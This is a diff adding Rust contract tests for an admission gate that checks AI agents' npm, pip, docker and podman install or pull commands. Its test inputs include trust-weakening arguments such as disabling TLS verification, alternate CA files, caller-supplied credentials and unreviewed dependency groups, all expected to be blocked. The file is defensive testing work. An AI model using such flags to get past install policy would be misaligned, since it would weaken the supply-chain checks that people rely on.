+fn npm_config_file_overrides_cannot_inject_unreviewed_install_authority() { + for config_argument in [ + "--userconfig=/tmp/unreviewed.npmrc", + "--globalconfig=/tmp/unreviewed.npmrc", + ] { + let (policy, intent) = npm_case(config_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{config_argument} must not inject caller-selected npm configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{config_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn npm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.3".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-npm-config-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + config_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs new file mode 100644 index 00000000..ef82ad47 --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs @@ -0,0 +1,105 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "@cwl/example@1.2.3"; + +#[test] +fn npm_family_direct_installs_fail_closed_without_reviewed_dependency_closure() { + for executable in ["npm", "pnpm", "yarn", "bun"] { + let (policy, intent) = approved_npm_family_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} direct install can resolve transitive artifacts absent from the reviewed direct artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} transitive artifacts have no reviewed artifact authority in the v0.1 direct-install contract" + ); + } +} + +fn approved_npm_family_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "npm-exact-artifact-set".to_string(), + policy_revision: "2026-09-05.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "npm" => vec![ + "npm".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "pnpm" => vec![ + "pnpm".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "yarn" => vec![ + "yarn".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "bun" => vec![ + "bun".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => unreachable!("test limits executable to npm-family managers"), + }; + argv.push("--ignore-scripts".to_string()); + if executable == "pnpm" { + argv.push("--ignore-pnpmfile".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-npm-cardinality-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs new file mode 100644 index 00000000..f64b2fd1 --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs @@ -0,0 +1,81 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn npm_tls_trust_overrides_cannot_change_registry_authentication() { + for trust_argument in [ + "--cafile=/tmp/unreviewed-ca.pem", + "--ca=unreviewed-ca-material", + "--strict-ssl=false", + ] { + let (policy, intent) = npm_case(trust_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{trust_argument} must not change npm registry TLS trust" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{trust_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn npm_case(trust_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.4".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-npm-tls-trust-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + trust_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs new file mode 100644 index 00000000..18bfe4f0 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -0,0 +1,130 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { + for executable in ["docker", "podman"] { + for all_tags_flag in [ + "--all-tags", + "-a", + "--all-tags=true", + "--all-tags=TRUE", + "-a=true", + "-a=1", + "-aq", + "-qa", + "-aq=false", + "-aq=0", + ] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, all_tags_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {all_tags_flag} must not expand one approved digest into every mutable tag in the repository" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "repository-wide OCI expansion must stay in the artifact-identity reason domain" + ); + } + } +} + +#[test] +fn explicit_false_all_tags_assignment_preserves_exact_digest_admission() { + for executable in ["docker", "podman"] { + for all_tags_flag in ["--all-tags=false", "-a=0", "-qa=false", "-qa=0"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, all_tags_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} {all_tags_flag} leaves repository-wide expansion disabled and must not create a false security block" + ); + } + } +} + +#[test] +fn quiet_shorthand_without_all_tags_preserves_exact_digest_admission() { + for executable in ["docker", "podman"] { + for quiet_flag in ["-q", "-qq"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, quiet_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} {quiet_flag} changes presentation only and must not be confused with repository-wide expansion" + ); + } + } +} + +fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-all-tags-test".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-oci-all-tags-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "pull".to_string(), + artifact_argument, + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs new file mode 100644 index 00000000..e4871af9 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -0,0 +1,177 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn caller_selected_platform_is_not_authorized_by_an_index_digest() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv.insert(2, "--platform=linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "a caller-selected OCI platform must require separately approved artifact identity" + ); +} + +#[test] +fn podman_platform_selection_is_bound_by_the_same_oci_policy() { + let (policy, mut intent) = approved_oci_pull("podman"); + intent.argv.insert(2, "--platform=linux/amd64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn podman_platform_selector_aliases_require_separately_approved_artifact_identity() { + for selector in ["--arch=arm64", "--os=linux", "--variant=v7"] { + let (policy, mut intent) = approved_oci_pull("podman"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Podman selector {selector} must not inherit approval from an index-level artifact coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "Podman selector {selector} must remain in the artifact-identity reason domain" + ); + } +} + +#[test] +fn separated_platform_value_does_not_duplicate_artifact_reason() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv.insert(2, "--platform".to_string()); + intent.argv.insert(3, "linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision + .reason_codes + .iter() + .filter(|reason| reason.as_str() == "artifact_not_approved") + .count(), + 1, + "platform hardening must preserve deterministic reason-code de-duplication" + ); +} + +#[test] +fn non_pull_oci_command_remains_owned_by_the_existing_command_guard() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv[1] = "push".to_string(); + intent.argv.insert(2, "--platform=linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command") + ); +} + +#[test] +fn exact_digest_pull_without_caller_selected_platform_remains_allowed() { + let (policy, intent) = approved_oci_pull("docker"); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn missing_executable_remains_fail_closed_without_panicking_variant_guard() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv.clear(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_executable") + ); +} + +fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-oci-platform-variant".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "pull".to_string(), + artifact_argument, + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs new file mode 100644 index 00000000..d827b1a6 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -0,0 +1,165 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn podman_cannot_disable_registry_tls_verification() { + for disabled in ["false", "FALSE", "f", "0"] { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert(2, format!("--tls-verify={disabled}")); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Podman false spelling {disabled} must not disable reviewed registry TLS verification" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected TLS verification disablement must not inherit registry trust from policy" + ); + } +} + +#[test] +fn podman_cannot_select_an_unreviewed_registry_certificate_directory() { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, "--cert-dir=/tmp/unreviewed-certs".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root") + ); +} + +#[test] +fn podman_cannot_select_an_unreviewed_registry_auth_file() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert( + 2, + "--authfile=/tmp/agent-controlled-registry-auth.json".to_string(), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected registry authentication files must not become admission authority" + ); +} + +#[test] +fn podman_cannot_supply_registry_credentials_from_untrusted_argv() { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, "--creds=agent-user:synthetic-secret".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "untrusted argv must not choose the registry principal used to retrieve an approved artifact" + ); +} + +#[test] +fn podman_cannot_select_an_unreviewed_image_decryption_key() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert( + 2, + "--decryption-key=/tmp/agent-controlled-key.pem:synthetic-passphrase".to_string(), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "untrusted argv must not choose secret-bearing image decryption material" + ); +} + +#[test] +fn explicit_tls_verification_true_does_not_weaken_the_reviewed_registry_trust() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert(2, "--tls-verify=true".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_podman_pull() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-transport-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec!["podman".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-oci-transport-trust".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec!["podman".to_string(), "pull".to_string(), artifact_argument], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs new file mode 100644 index 00000000..553728c2 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs @@ -0,0 +1,60 @@ +use std::sync::Arc; + +use axum::{ + body::{Body, to_bytes}, + http::{HeaderValue, Request, StatusCode, header::CONTENT_TYPE}, +}; +use tower::ServiceExt; +use wardnet_agent_artifact_admission::{ + AdmissionDecision, AdmissionPolicy, AdmissionState, AuditSink, DecisionKind, MemoryAuditSink, + ReasonCode, build_app, +}; + +const ADMIN_TOKEN: &str = "0123456789abcdef0123456789abcdef"; + +fn state(sink: Arc) -> AdmissionState { + AdmissionState::new( + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "oversize-audit-test".to_string(), + ..AdmissionPolicy::default() + }, + ADMIN_TOKEN.to_string(), + sink, + 32, + ) +} + +#[tokio::test] +async fn oversized_authenticated_request_is_audited_before_payload_too_large_response() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(sink.clone())); + let request = Request::builder() + .method("POST") + .uri("/v1/admissions") + .header(CONTENT_TYPE, "application/json") + .header("x-admin-token", HeaderValue::from_static(ADMIN_TOKEN)) + .body(Body::from(vec![b'x'; 128])) + .expect("request must build"); + + let response = app.oneshot(request).await.expect("router must answer"); + + assert_eq!(response.status(), StatusCode::PAYLOAD_TOO_LARGE); + let bytes = to_bytes(response.into_body(), 64 * 1024) + .await + .expect("response body must be readable"); + let decision: AdmissionDecision = + serde_json::from_slice(&bytes).expect("oversized response must be a decision receipt"); + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!(decision.reason_codes, vec![ReasonCode::RequestBodyTooLarge]); + + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Block); + assert_eq!( + records[0].reason_codes, + vec![ReasonCode::RequestBodyTooLarge] + ); + assert_eq!(records[0].request_id, "unavailable:request_body_too_large"); + assert!(records[0].request_body_sha256.is_none()); +} diff --git a/crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs b/crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs new file mode 100644 index 00000000..073c9032 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs @@ -0,0 +1,92 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_dependency_group_abbreviation_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, baseline) = approved_pip_install(executable); + let baseline_decision = admission_decision(&policy, &baseline); + assert_eq!( + baseline_decision.decision, + DecisionKind::Allow, + "exact reviewed {executable} install must remain admissible" + ); + + let mut hostile = baseline; + hostile.argv.push("--gro=attacker-group".to_string()); + let decision = admission_decision(&policy, &hostile); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted --gro dependency-group abbreviation import unreviewed artifacts" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} --gro must preserve the artifact_not_approved admission reason" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-reviewed-artifact-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let intent = InstallIntent { + request_id: format!("req-pip-dependency-group-abbreviation-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs b/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs new file mode 100644 index 00000000..196f3f12 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs @@ -0,0 +1,106 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pip_install_cannot_import_unreviewed_dependency_group() { + for executable in ["pip", "pip3"] { + for arguments in [ + &["--group=developer-tools"][..], + &["--group", "developer-tools"][..], + &["--group=./subproject/pyproject.toml:developer-tools"][..], + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent + .argv + .extend(arguments.iter().map(|argument| (*argument).to_string())); + + let decision = admission_decision(&policy, &intent); + let invocation = arguments.join(" "); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {invocation} must not add pyproject dependency-group members outside the reviewed artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {invocation} must report that dependency-group members are outside reviewed artifact authority" + ); + } + } +} + +#[test] +fn exact_pip_install_without_dependency_group_remains_allowed() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + 